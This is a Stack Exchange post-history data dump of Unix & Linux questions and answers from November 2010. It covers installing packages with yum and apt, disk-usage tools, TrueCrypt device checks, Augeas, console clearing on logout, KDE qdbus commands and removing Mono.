  <row Id="8605" PostHistoryTypeId="2" PostId="3969" RevisionGUID="c340766d-6ad8-43fc-9084-11d96132a970" CreationDate="2010-11-12T09:09:51.783" UserId="2627" Text="For Red Hat/Fedora/Suse:&#xD;&#xA;&#xD;&#xA;    yum install foo&#xD;&#xA;&#xD;&#xA;For Ubuntu:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install foo&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8606" PostHistoryTypeId="2" PostId="3970" RevisionGUID="e3461303-460f-41b5-afc3-dac84e1267a2" CreationDate="2010-11-12T09:28:51.680" UserId="2627" Text="Another GUI program is: [baobab][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.marzocca.net/linux/baobab/&#xD;&#xA;  [2]: http://i.imgur.com/zdLw0.png" />
  <row Id="8607" PostHistoryTypeId="2" PostId="3971" RevisionGUID="52ef7e4a-27cf-4937-8989-cad613821cf8" CreationDate="2010-11-12T10:41:59.280" UserId="281" Text="Assuming the `/dev/mapper/truecrypt1` block device has been successfully created, you can run normal tools like `fsck` on that device.&#xD;&#xA;&#xD;&#xA;To confirm that there is still readable data to be found, you could first do something like this to look for text content (hit ctrl+c to stop):&#xD;&#xA;&#xD;&#xA;    sudo cat /dev/mapper/truecrypt1 | strings&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8608" PostHistoryTypeId="2" PostId="3972" RevisionGUID="6b7edf5e-0d50-412c-8c07-ae4ddc9d57f0" CreationDate="2010-11-12T10:46:23.460" UserId="2629" Text="Based on your issues in [installing ncdu][1] my recommendation would be to use `du` and `sort` on together.&#xD;&#xA;&#xD;&#xA;For instance:&#xD;&#xA;&#xD;&#xA; - `du /home | sort -rn` (will search all files/directories under /home and sort them by largest to smallest.&#xD;&#xA; - `du -h /home | sort -rh` (same but will show it in MB/KB/etc) - Note this requires coreutils 7.5 or newer (`sort --version` to check)&#xD;&#xA;&#xD;&#xA;You can replace /home with any directory of your choice.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3965/how-to-install-linux-programs" />
  <row Id="8609" PostHistoryTypeId="2" PostId="3973" RevisionGUID="242137db-f867-4344-b8fd-96588a075a4c" CreationDate="2010-11-12T11:08:38.627" UserId="2629" Text="I managed to get it going with the steps on the [Ubuntu Forums][1], for clarity here is what I did:&#xD;&#xA;&#xD;&#xA; 1. `sudo apt-get install gtk-recordmydesktop pavucontrol`&#xD;&#xA; 2. Opened the Pulse Audio Volume Control dialog: `Applications &gt; Sound &amp; Video &gt; PulseAudio Volume Control`&#xD;&#xA; 3. Opened gtk-recordmydesktop&#xD;&#xA; 4. In gtk-rmd start a recording&#xD;&#xA; 5. In Volume Control goto the Recording tab and change the recordmydesktop entry to 'Monitor of &lt;device name&gt;'&#xD;&#xA;&#xD;&#xA;This is what seems to have worked for me.&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=1584849" />
  <row Id="8610" PostHistoryTypeId="2" PostId="3974" RevisionGUID="97693c68-140b-402a-b660-5d226c06688d" CreationDate="2010-11-12T11:13:23.883" UserId="2624" Text="I'm not sure, but it sounds like a dhcp issue. Maybe the acccess point you want to connect to is not set up with dhcp, or not available? For now, try pressing ctrl-c when this message appears, sometimes it works (dont know about clearos). If it works let this service start in background." />
  <row Id="8611" PostHistoryTypeId="4" PostId="3951" RevisionGUID="afd8c8a7-3614-479f-a4a9-2a12a8ccdce8" CreationDate="2010-11-12T11:14:33.347" UserId="1339" Comment="edited title" Text="xfdesktop (xfce4) broken? (can't set wallpaper)" />
  <row Id="8612" PostHistoryTypeId="2" PostId="3975" RevisionGUID="f8163925-3461-46ac-8d75-5a76778a7fee" CreationDate="2010-11-12T11:52:33.053" UserId="2629" Text="Simple answer is no, and this goes back to at least 2005, if you are doing this en-mass with grub, then you should still be able to specify in the boot options the paths to mirror, just like you can with specifying a path to a Kickstart file.&#xD;&#xA;&#xD;&#xA;Some brilliant examples of how to do this can be found on the [Fedora Infrastructure wiki pages][1], mainly just `-x &quot;method=&lt;path to RPM directory&quot;` should do the trick.&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Kickstart_Infrastructure_SOP" />
  <row Id="8613" PostHistoryTypeId="2" PostId="3976" RevisionGUID="722a5a22-bd3e-43fb-8291-560883e9f94f" CreationDate="2010-11-12T12:20:52.513" UserId="2635" Text="In debian based system you can use &#xD;&#xA;`sudo apt-get install foo` &#xD;&#xA;to download you can use [wget][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Wget" />
  <row Id="8614" PostHistoryTypeId="6" PostId="3952" RevisionGUID="b068b50b-6431-4771-a290-c8a828389df2" CreationDate="2010-11-12T12:23:10.573" UserId="885" Comment="edited tags" Text="éconfigurationàémanà" />
  <row Id="8615" PostHistoryTypeId="6" PostId="3934" RevisionGUID="83527553-33ab-46f2-92b6-c9b41beee9c1" CreationDate="2010-11-12T12:23:31.320" UserId="885" Comment="edited tags" Text="éprocessàésolarisàépsà" />
  <row Id="8616" PostHistoryTypeId="2" PostId="3977" RevisionGUID="0030b980-32cf-4812-8bb5-0e36a58e90b9" CreationDate="2010-11-12T12:32:51.497" UserId="885" Text="This could be a transient network error. Wait a bit and try again.&#xD;&#xA;&#xD;&#xA;Do other downloads from this site work? Try browsing &#xD;&#xA;http://mirror.bjtu.edu.cn/fedora-epel/5/i386/repodata/ (if this is on a command-line-only machine, use a command-line browser such as lynx, links or w3m). &#xD;&#xA;&#xD;&#xA;Do you need to set up a proxy to access the web? Yum, like most programs, uses the `http_proxy` environment variable. If you need a proxy, put this in your `~/.profile` (and run it once in your shell so that it takes effect no) (replace the host name and port number by the right values for you):&#xD;&#xA;&#xD;&#xA;    export http_proxy=http://proxy.example.com:3128/&#xD;&#xA;&#xD;&#xA;Try other [CentOS mirrors](http://www.centos.org/modules/tinycontent/index.php?id=30) if this particular one isn't working for you.&#xD;&#xA;" />
  <row Id="8617" PostHistoryTypeId="2" PostId="3978" RevisionGUID="4aa9e762-3cbb-428f-afb9-1101e4fb4697" CreationDate="2010-11-12T12:52:09.273" UserId="2629" Text="If you continue to get the errors only for EPEL mirrors, try running yum with the `--disablerepo='epel'` option as a temporary workaround (i.e. `yum --disaberepo='epel' groupinstall &quot;Development Tools&quot;`, if it continues to happen, you may need to try and find the mirror admin and advise them that something is wrong.&#xD;&#xA;&#xD;&#xA;Try Gilles' answer first though, this is a pure workaround." />
  <row Id="8618" PostHistoryTypeId="5" PostId="3965" RevisionGUID="03d3a4a5-a816-46db-afe7-e225401c0fd7" CreationDate="2010-11-12T13:25:03.513" UserId="29" Comment="add more tags" Text="Ah, the joy of being a noob...&#xD;&#xA;&#xD;&#xA;What's the simplest way to download/install software on linux (from bash command line)?&#xD;&#xA;&#xD;&#xA;*update: clarified this is for Red Hat*" />
  <row Id="8619" PostHistoryTypeId="4" PostId="3965" RevisionGUID="03d3a4a5-a816-46db-afe7-e225401c0fd7" CreationDate="2010-11-12T13:25:03.513" UserId="29" Comment="add more tags" Text="How to install linux programs? in Red Hat" />
  <row Id="8620" PostHistoryTypeId="6" PostId="3965" RevisionGUID="03d3a4a5-a816-46db-afe7-e225401c0fd7" CreationDate="2010-11-12T13:25:03.513" UserId="29" Comment="add more tags" Text="écommandölineàéinstallàérhelàépackageömanagementà" />
  <row Id="8621" PostHistoryTypeId="2" PostId="3979" RevisionGUID="209cc324-3a12-492e-9f73-e3636d51a3b3" CreationDate="2010-11-12T13:31:23.183" UserId="1594" Text="The answers provided [to this question][1] doesn't help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3965/how-to-install-linux-programs-in-red-hat" />
  <row Id="8622" PostHistoryTypeId="1" PostId="3979" RevisionGUID="209cc324-3a12-492e-9f73-e3636d51a3b3" CreationDate="2010-11-12T13:31:23.183" UserId="1594" Text="How can I install ncdu on Red Hat?" />
  <row Id="8623" PostHistoryTypeId="3" PostId="3979" RevisionGUID="209cc324-3a12-492e-9f73-e3636d51a3b3" CreationDate="2010-11-12T13:31:23.183" UserId="1594" Text="éinstallàérhelà" />
  <row Id="8624" PostHistoryTypeId="5" PostId="3979" RevisionGUID="9ee5ce33-74e1-4520-a444-b3d9734355e9" CreationDate="2010-11-12T13:37:12.683" UserId="1594" Comment="added 91 characters in body" Text="The answers provided [to this question][1] doesn't help.&#xD;&#xA;&#xD;&#xA;I'ved tried&#xD;&#xA;&#xD;&#xA;    yum install ncdu&#xD;&#xA;&#xD;&#xA;But I'm getting&#xD;&#xA;&#xD;&#xA;    No package ncdu available&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3965/how-to-install-linux-programs-in-red-hat" />
  <row Id="8625" PostHistoryTypeId="6" PostId="3979" RevisionGUID="abc2e3df-1309-4738-b588-7103b09406f5" CreationDate="2010-11-12T13:46:50.380" UserId="29" Comment="add command line tag" Text="écommandölineàéinstallàérhelà" />
  <row Id="8626" PostHistoryTypeId="5" PostId="3971" RevisionGUID="737db7dd-47e9-414e-8770-63334cdb4187" CreationDate="2010-11-12T15:15:25.380" UserId="281" Comment="added 230 characters in body; deleted 16 characters in body" Text="To create the `/dev/mapper/truecrypt1` device without trying to mount the contained file system, do this (replace `/dev/sda1` by the SD card device):&#xD;&#xA;&#xD;&#xA;    sudo truecrypt --filesystem=none --slot=1 /dev/sda1&#xD;&#xA;&#xD;&#xA;To confirm that there is still readable data to be found, you could first do something like this to look for text content (hit ctrl+c to stop):&#xD;&#xA;&#xD;&#xA;    sudo cat /dev/mapper/truecrypt1 | strings&#xD;&#xA;&#xD;&#xA;Assuming the `/dev/mapper/truecrypt1` block device has been successfully created, you can run normal tools like `fsck` on that device.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8627" PostHistoryTypeId="2" PostId="3980" RevisionGUID="acedfad7-2b85-4ecf-97f5-3f32e4f9d3b0" CreationDate="2010-11-12T15:53:29.647" UserId="805" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm trying to use Augeas to manage some options in yum.repos.d but it's not reading all repo files in there.&#xD;&#xA;&#xD;&#xA;Any hint?&#xD;&#xA;&#xD;&#xA;    # ls -l /etc/yum.repos.d/&#xD;&#xA;    total 24&#xD;&#xA;    -rw-r--r-- 1 root root  200 Nov 10 15:50 3rd.repo&#xD;&#xA;    -rw-r--r-- 1 root root  279 Sep 10 14:21 Citrix.repo&#xD;&#xA;    -rw-r--r-- 1 root root  172 Nov 10 16:17 epel.repo&#xD;&#xA;    -rw-r--r-- 1 root root  172 Nov 10 15:21 ius.repo&#xD;&#xA;    -rw-r--r-- 1 root root 1308 Nov 10 15:21 os.repo&#xD;&#xA;&#xD;&#xA;And in augtool:&#xD;&#xA;&#xD;&#xA;    # augtool ls /files/etc/yum.repos.d/&#xD;&#xA;    os.repo/ = (none)&#xD;&#xA;    Citrix.repo/ = (none)&#xD;&#xA;&#xD;&#xA;Trying to debug in augtool:&#xD;&#xA;&#xD;&#xA;    # augtool ls /augeas/files/etc/yum.repos.d/&#xD;&#xA;    os.repo/ = (none)&#xD;&#xA;    Citrix.repo/ = (none)&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8628" PostHistoryTypeId="1" PostId="3980" RevisionGUID="acedfad7-2b85-4ecf-97f5-3f32e4f9d3b0" CreationDate="2010-11-12T15:53:29.647" UserId="805" Text="Augeas not reading all yum.repos.d files. Why?" />
  <row Id="8629" PostHistoryTypeId="3" PostId="3980" RevisionGUID="acedfad7-2b85-4ecf-97f5-3f32e4f9d3b0" CreationDate="2010-11-12T15:53:29.647" UserId="805" Text="éyumà" />
  <row Id="8630" PostHistoryTypeId="2" PostId="3981" RevisionGUID="566141fa-e369-437d-96ec-f2ae066eb43f" CreationDate="2010-11-12T16:08:16.763" UserId="250" Text="Currently on my laptop when I log out I can still see traces of my last activities (in tty). How can I tell it (Gentoo) to clear the screen before logging out?" />
  <row Id="8631" PostHistoryTypeId="1" PostId="3981" RevisionGUID="566141fa-e369-437d-96ec-f2ae066eb43f" CreationDate="2010-11-12T16:08:16.763" UserId="250" Text="How to clear terminal after logging out?" />
  <row Id="8632" PostHistoryTypeId="3" PostId="3981" RevisionGUID="566141fa-e369-437d-96ec-f2ae066eb43f" CreationDate="2010-11-12T16:08:16.763" UserId="250" Text="ésecurityàéttyà" />
  <row Id="8633" PostHistoryTypeId="2" PostId="3982" RevisionGUID="e0b7a7b0-9389-4737-8e39-6121d69ecb3a" CreationDate="2010-11-12T16:14:16.680" UserId="250" Text="Can somebody show me how to make Gentoo mount my USB? This is what I got when trying `mount /dev/sdb1 /mnt`:&#xD;&#xA;&#xD;&#xA;&gt;mount: wrong fs type, bad option, bad superblock on /dev/sdb1,&#xD;&#xA;       missing codepage or helper program, or other error&#xD;&#xA;       In some cases useful info is found in syslog - try&#xD;&#xA;       dmesg | tail  or so&#xD;&#xA;&#xD;&#xA;`dmesg` says:&#xD;&#xA;&gt;FAT: codepage cp437 not found" />
  <row Id="8634" PostHistoryTypeId="1" PostId="3982" RevisionGUID="e0b7a7b0-9389-4737-8e39-6121d69ecb3a" CreationDate="2010-11-12T16:14:16.680" UserId="250" Text="Mount USB (FAT) in Gentoo" />
  <row Id="8635" PostHistoryTypeId="3" PostId="3982" RevisionGUID="e0b7a7b0-9389-4737-8e39-6121d69ecb3a" CreationDate="2010-11-12T16:14:16.680" UserId="250" Text="émountàéusbàéfatà" />
  <row Id="8636" PostHistoryTypeId="5" PostId="3963" RevisionGUID="edc3fdef-ecaf-4fca-9e66-0d592d888d5a" CreationDate="2010-11-12T16:29:53.140" UserId="250" Comment="added 3 characters in body" Text="Running &#xD;&#xA;&#xD;&#xA;    yum groupinstall &quot;Development Tools&quot;&#xD;&#xA;&#xD;&#xA;on my CentOS machine fails. I get errors such as:&#xD;&#xA;&#xD;&#xA;&gt;http://mirror.bjtu.edu.cn/fedora-epel/5/i386/repodata/7665d1f4c95b91088577b351525888a460749412-filelists.sqlite.bz2: [Errno 12] Timeout: &amp;lt;urlopen error timed out&amp;gt;&#xD;&#xA;&#xD;&#xA;Any workarounds / alternatives?&#xD;&#xA;" />
  <row Id="8637" PostHistoryTypeId="16" PostId="3590" RevisionGUID="0a499084-55c0-4738-a0f7-36f2de1b9f4e" CreationDate="2010-11-12T16:33:02.190" UserId="885" />
  <row Id="8638" PostHistoryTypeId="5" PostId="3590" RevisionGUID="0a499084-55c0-4738-a0f7-36f2de1b9f4e" CreationDate="2010-11-12T16:33:02.190" UserId="885" Comment="incorporated greg0ire's comments; made CW" Text="## Controlling KDE activities via dbus&#xD;&#xA;&#xD;&#xA;KDE can be controlled from the command line with `qdbus`. The general syntax is `qdbus COMPONENT PATH METHOD ARGUMENT1...` where `COMPONENT` is typically something like `org.freedesktop.Foo` or `org.kde.Bar`, `PATH` denotes a class exposed by the component, METHOD is the name of a particular action in that class, and there may be further arguments depending on the method.&#xD;&#xA;&#xD;&#xA;Here are commands for KDE ≥4.5 to list activities, and to set the current activity.&#xD;&#xA;&#xD;&#xA;    qdbus org.kde.ActivityManager /ActivityManager org.kde.ActivityManager.AvailableActivities&#xD;&#xA;    qdbus org.kde.ActivityManager /ActivityManager org.kde.ActivityManager.SetCurrentActivity &quot;name of new activity&quot;&#xD;&#xA;&#xD;&#xA;## Finding out what dbus can do&#xD;&#xA;&#xD;&#xA;KDE's dbus documentation is very poor. Each class is minimally documented, e.g. [Activity](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classActivity.html), [DesktopCorona](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classDesktopCorona.html)). But you'll probably have to experiment and perhaps read the source (there are links in the API documentation pages) to find out what is available.&#xD;&#xA;&#xD;&#xA;If you type `qdbus` with up to two arguments, it will list the possibilities for the next argument. The following shell snippet lists all available Qt-dbus methods:&#xD;&#xA;&#xD;&#xA;    for x in $(qdbus | sed '/^:/d'); do&#xD;&#xA;      for y in $(qdbus $x); do&#xD;&#xA;        qdbus $x $y | sed &quot;s~^~$x $y ~&quot;&#xD;&#xA;      done&#xD;&#xA;    done 2&gt;/dev/null &gt;qdbus.list&#xD;&#xA;&#xD;&#xA;Another way to explore the dbus tree is `qdbusviewer` in the Qt development tools. There is also a Python qt-dbus interface as part of [PyQt](http://www.riverbankcomputing.co.uk/).&#xD;&#xA;&#xD;&#xA;## Getting the shell to react&#xD;&#xA;&#xD;&#xA;To make a shell react to external events, the best you can reasonably do is make it check something before displaying a prompt. Bash runs `$PROMPT_COMMAND` before displaying a prompt, and zsh executes the `precmd` function. So you can look up the current KDE activity and do something if it's changed from the last time you looked.&#xD;&#xA;" />
  <row Id="8639" PostHistoryTypeId="2" PostId="3983" RevisionGUID="f85ddee9-e449-4f62-8fa9-23e11256df1e" CreationDate="2010-11-12T16:33:05.793" UserId="2634" Text="It seems that you do not have the &quot;codepage cp437&quot; support in the kernel.&#xD;&#xA;&#xD;&#xA;Try to Look inside your /proc/config.gz file and search for a line like `CONFIG_NLS_CODEPAGE_437=m` or `CONFIG_NLS_CODEPAGE_437=y`. If you do not find it, you'll have to recompile the kernel to add the needed module.&#xD;&#xA;" />
  <row Id="8640" PostHistoryTypeId="2" PostId="3984" RevisionGUID="408e7cbb-3af8-4a9e-827a-4e3bfbf39194" CreationDate="2010-11-12T16:42:43.333" UserId="2640" Text="So, I want to have a VM of a very minimal x86 Linux install, with networking support so I can download packages. All this VM is going to be used for is to learn NASM assembly, since all of the other Linux installs I have anywhere area all x86_64 installs.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="8641" PostHistoryTypeId="1" PostId="3984" RevisionGUID="408e7cbb-3af8-4a9e-827a-4e3bfbf39194" CreationDate="2010-11-12T16:42:43.333" UserId="2640" Text="Minimal Command Line Distro" />
  <row Id="8642" PostHistoryTypeId="3" PostId="3984" RevisionGUID="408e7cbb-3af8-4a9e-827a-4e3bfbf39194" CreationDate="2010-11-12T16:42:43.333" UserId="2640" Text="édistrosà" />
  <row Id="8643" PostHistoryTypeId="2" PostId="3985" RevisionGUID="87b4312e-5fd5-49d6-94ed-7e8732b9a2d5" CreationDate="2010-11-12T16:52:54.350" UserId="885" Text="If your shell is bash, add `clear_console` or `reset` to `~/.bash_logout`. If your shell is zsh, add that command to `~/.zlogout`. You might want to run this only when the shell is a login shell on a Linux console, e.g.&#xD;&#xA;&#xD;&#xA;    if [[ &quot;`tty`&quot; = /dev/tty[1-9] &amp;&amp; $(ps -o comm= -p $PPID) = login ]]; then&#xD;&#xA;      clear_console&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;As the system administrator, you can configure the console to always be cleared before showing the login prompt. The easiest way to do that is to use `mingetty` instead of `getty`; you lose support for serial consoles but gain a few features such as screen clearing. First install `mingetty`. Then, assuming you use SysVinit, in `/etc/inittab`, change lines like `1:2345:respawn:/sbin/getty 38400 tty1` into&#xD;&#xA;&#xD;&#xA;    1:2345:respawn:/sbin/mingetty tty1&#xD;&#xA;&#xD;&#xA;The Upstart equivalent would to change `exec /sbin/getty -8 38400 tty1` to `exec /sbin/mingetty tty1` in `/etc/init/tty1.conf` (these are Ubuntu paths, you may need some adjustments for Gentoo).&#xD;&#xA;" />
  <row Id="8644" PostHistoryTypeId="6" PostId="3980" RevisionGUID="545d3e98-c113-4b03-8eaf-1ecac4911249" CreationDate="2010-11-12T16:54:14.897" UserId="885" Comment="edited tags" Text="éyumà" />
  <row Id="8645" PostHistoryTypeId="2" PostId="3986" RevisionGUID="091969e7-6de9-42a9-bb2d-5ebdaf3f9bc1" CreationDate="2010-11-12T16:56:11.620" UserId="1207" Text="If you are using Red Hat Enterprise Linux, I do not think ncdu is in the RHEL server repositories, repositories.  I do not have a machine where I can check if it is in the workstation repositories, but I suspect it isn't.  If it isn't, one option is the use EPEL ([faq][1]):&#xD;&#xA;&#xD;&#xA;&gt; EPEL (Extra Packages for Enterprise&#xD;&#xA;&gt; Linux) is a volunteer-based community&#xD;&#xA;&gt; effort from the Fedora project to&#xD;&#xA;&gt; create a repository of high-quality&#xD;&#xA;&gt; add-on packages that complement the&#xD;&#xA;&gt; Fedora-based Red Hat Enterprise Linux&#xD;&#xA;&gt; (RHEL) and its compatible spinoffs,&#xD;&#xA;&gt; such as CentOS and Scientific Linux.&#xD;&#xA;&#xD;&#xA;`ncdu` does seem to be in the EPEL repositories intended to work with RHEL 4 and RHEL 5.  Directions for how to use these repositories can be found here:&#xD;&#xA;&#xD;&#xA;http://fedoraproject.org/wiki/EPEL/FAQ#How_can_I_install_the_packages_from_the_EPEL_software_repository.3F&#xD;&#xA;&#xD;&#xA;Alternatively, you can always download the tool from the upstread website:&#xD;&#xA;&#xD;&#xA;http://dev.yorhel.nl/ncdu&#xD;&#xA;&#xD;&#xA;and follow the directions in the INSTALL file.  However, this will require you to chase down dependencies and install the tools needed to build the project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/EPEL/FAQ#What_is_EPEL.3F" />
  <row Id="8646" PostHistoryTypeId="2" PostId="3987" RevisionGUID="40c5f441-3407-461f-b1bf-11eff1da6d7d" CreationDate="2010-11-12T17:13:52.560" UserId="1571" Text="Any distro will have an x86 version. If you really don't want to run X or anything like that, there are plenty of distros that offer minimal versions. Ubuntu and debian have minimal installs if you want to go that route.&#xD;&#xA;&#xD;&#xA;I think what you'll get the most recommendations for is arch. It's got a good community with lots of tutorials and recipes for stuff. Also there's slackware and gentoo" />
  <row Id="8647" PostHistoryTypeId="2" PostId="3988" RevisionGUID="ed04a4f2-ac95-4bcb-ada8-fa88ffd4b7ea" CreationDate="2010-11-12T17:21:00.923" UserId="1571" Text="There's also this cool python script from /www.vrplumber.com/programming/runsnakerun/&#xD;&#xA;&#xD;&#xA;`bzr branch lp:~mcfletch/squaremap/trunk squaremap`&#xD;&#xA;&#xD;&#xA;It's not the most feature rich, but it's run from a single python script so it's extremely portable.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/eL9tz.png" />
  <row Id="8648" PostHistoryTypeId="5" PostId="3590" RevisionGUID="1c8a84c0-487c-46af-b5e5-06b1ec8ac557" CreationDate="2010-11-12T17:25:07.457" UserId="653" Comment="added command to get current activity" Text="## Controlling KDE activities via dbus&#xD;&#xA;&#xD;&#xA;KDE can be controlled from the command line with `qdbus`. The general syntax is `qdbus COMPONENT PATH METHOD ARGUMENT1...` where `COMPONENT` is typically something like `org.freedesktop.Foo` or `org.kde.Bar`, `PATH` denotes a class exposed by the component, METHOD is the name of a particular action in that class, and there may be further arguments depending on the method.&#xD;&#xA;&#xD;&#xA;Here are commands for KDE ≥4.5 to list activities, to get the current activity, and to set the current activity.&#xD;&#xA;&#xD;&#xA;    qdbus org.kde.ActivityManager /ActivityManager org.kde.ActivityManager.AvailableActivities&#xD;&#xA;    qdbus org.kde.ActivityManager /ActivityManager CurrentActivity&#xD;&#xA;    qdbus org.kde.ActivityManager /ActivityManager org.kde.ActivityManager.SetCurrentActivity &quot;name of new activity&quot;&#xD;&#xA;&#xD;&#xA;## Finding out what dbus can do&#xD;&#xA;&#xD;&#xA;KDE's dbus documentation is very poor. Each class is minimally documented, e.g. [Activity](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classActivity.html), [DesktopCorona](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classDesktopCorona.html)). But you'll probably have to experiment and perhaps read the source (there are links in the API documentation pages) to find out what is available.&#xD;&#xA;&#xD;&#xA;If you type `qdbus` with up to two arguments, it will list the possibilities for the next argument. The following shell snippet lists all available Qt-dbus methods:&#xD;&#xA;&#xD;&#xA;    for x in $(qdbus | sed '/^:/d'); do&#xD;&#xA;      for y in $(qdbus $x); do&#xD;&#xA;        qdbus $x $y | sed &quot;s~^~$x $y ~&quot;&#xD;&#xA;      done&#xD;&#xA;    done 2&gt;/dev/null &gt;qdbus.list&#xD;&#xA;&#xD;&#xA;Another way to explore the dbus tree is `qdbusviewer` in the Qt development tools. There is also a Python qt-dbus interface as part of [PyQt](http://www.riverbankcomputing.co.uk/).&#xD;&#xA;&#xD;&#xA;## Getting the shell to react&#xD;&#xA;&#xD;&#xA;To make a shell react to external events, the best you can reasonably do is make it check something before displaying a prompt. Bash runs `$PROMPT_COMMAND` before displaying a prompt, and zsh executes the `precmd` function. So you can look up the current KDE activity and do something if it's changed from the last time you looked.&#xD;&#xA;" />
  <row Id="8649" PostHistoryTypeId="5" PostId="3986" RevisionGUID="99e6ae54-e8ea-4bef-8a09-4e0f9f9e2340" CreationDate="2010-11-12T17:43:14.173" UserId="29" Comment="I'm sure this is supposed to be upstream" Text="If you are using Red Hat Enterprise Linux, I do not think ncdu is in the RHEL server repositories, repositories.  I do not have a machine where I can check if it is in the workstation repositories, but I suspect it isn't.  If it isn't, one option is the use EPEL ([faq][1]):&#xD;&#xA;&#xD;&#xA;&gt; EPEL (Extra Packages for Enterprise&#xD;&#xA;&gt; Linux) is a volunteer-based community&#xD;&#xA;&gt; effort from the Fedora project to&#xD;&#xA;&gt; create a repository of high-quality&#xD;&#xA;&gt; add-on packages that complement the&#xD;&#xA;&gt; Fedora-based Red Hat Enterprise Linux&#xD;&#xA;&gt; (RHEL) and its compatible spinoffs,&#xD;&#xA;&gt; such as CentOS and Scientific Linux.&#xD;&#xA;&#xD;&#xA;`ncdu` does seem to be in the EPEL repositories intended to work with RHEL 4 and RHEL 5.  Directions for how to use these repositories can be found here:&#xD;&#xA;&#xD;&#xA;http://fedoraproject.org/wiki/EPEL/FAQ#How_can_I_install_the_packages_from_the_EPEL_software_repository.3F&#xD;&#xA;&#xD;&#xA;Alternatively, you can always download the tool from the upstream website:&#xD;&#xA;&#xD;&#xA;http://dev.yorhel.nl/ncdu&#xD;&#xA;&#xD;&#xA;and follow the directions in the INSTALL file.  However, this will require you to chase down dependencies and install the tools needed to build the project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/EPEL/FAQ#What_is_EPEL.3F" />
  <row Id="8650" PostHistoryTypeId="2" PostId="3989" RevisionGUID="4549185b-cbe8-4927-adc2-be1da6e62a11" CreationDate="2010-11-12T17:45:39.850" UserId="805" Text="Found that the not-loaded repo files had &quot;gpgkey=&quot; (without value) inside, and this was preventing augeas to load them.&#xD;&#xA;&#xD;&#xA;However Augeas did not issued any errors. I had to find out myself.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8651" PostHistoryTypeId="5" PostId="2036" RevisionGUID="1e27e52f-e4db-4755-9b24-def47a5a30c0" CreationDate="2010-11-12T18:27:02.270" UserId="1207" Comment="added 759 characters in body; deleted 2 characters in body" Text="**Disclaimer:** I offer this answer since I believe you should have control over what packages are on your system--not to flame the mono-hate flame war. Also this question is heavily edited since my first post.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Removing Mono&#xD;&#xA;To remove mono completely all you have to do is remove the base mono libraries, and all files that depend on those libraries will also be removed.  The exact set of packages that need to be removed vary depending on which version of Ubuntu you are using.  I believe you should be able to remove most of mono with the following command (**Update: I've updated the command to better ensure everything is removed.**):&#xD;&#xA;&#xD;&#xA;    $ sudo apt-get purge libmono* cli-common mono-runtime&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The command should list all of the packages that will be removed--including applications that depend on mono-- and ask you to confirm their removal. You should review the list carefully before accepting the changes and make sure you won't be removing something you need. You may want to follow that up with:&#xD;&#xA;&#xD;&#xA;     $ sudo apt-get autoremove&#xD;&#xA;&#xD;&#xA;If you are more comfortable with GUI tools, you can also do this in Synaptic:  &#xD;&#xA;&#xD;&#xA; 1. Change to the &quot;installed&quot; filter.&#xD;&#xA; 2. Use the quick search box and search for &quot;libmono.&quot;  &#xD;&#xA; 3. Select all of the packages that appear in the results.&#xD;&#xA; 4. Mark them for complete removal. &#xD;&#xA; 5. Repeat steps 2-4 for the other packages in the command above. &#xD;&#xA; 5. Press apply.&#xD;&#xA;&#xD;&#xA;##Keeping Mono Off of Your System&#xD;&#xA;While there used to be a package called **mononono** that would prevent mono from being installed on the system, I do not believe this package works well with recent versions of Ubuntu.  If you are truly concerned with keeping mono off of your system, I would simply look carefully at the details of software installs you do and ensure that you do not see it pulling in mono libraries.&#xD;&#xA;&#xD;&#xA;One more automatic method would be to using apt-preferences.  Putting the following in `/etc/apt/preferences` or in a file inside `/etc/apt/preferences.d/` should provide relatively good defense against installing mono on your system:&#xD;&#xA;&#xD;&#xA;    Package: cli-common mono-runtime &#xD;&#xA;    Pin: version * &#xD;&#xA;    Pin-Priority: -100&#xD;&#xA;&#xD;&#xA;For more information about how this works, see `man apt_preferences`.  The short version is that negative priorities prevent that version of the package from being installed.&#xD;&#xA;&#xD;&#xA;##Other Notes&#xD;&#xA;If you are very concerned about non-free software, you may find the **vrms** package of interest.  It lists non-free packages on the system.  It will not list mono packages since patent issues are orthogonal to the software being free, at least according to some definitions of &quot;free.&quot;  Also, if you were to list all of the packages that have potential patent issues, you'd have to list a whole lot of packages." />
  <row Id="8652" PostHistoryTypeId="4" PostId="2035" RevisionGUID="67beded3-b730-40cd-93fa-be6214efe632" CreationDate="2010-11-12T18:38:26.767" UserId="1207" Comment="edited title" Text="How to permanently remove all Mono related package (libs, apps, etc.)" />
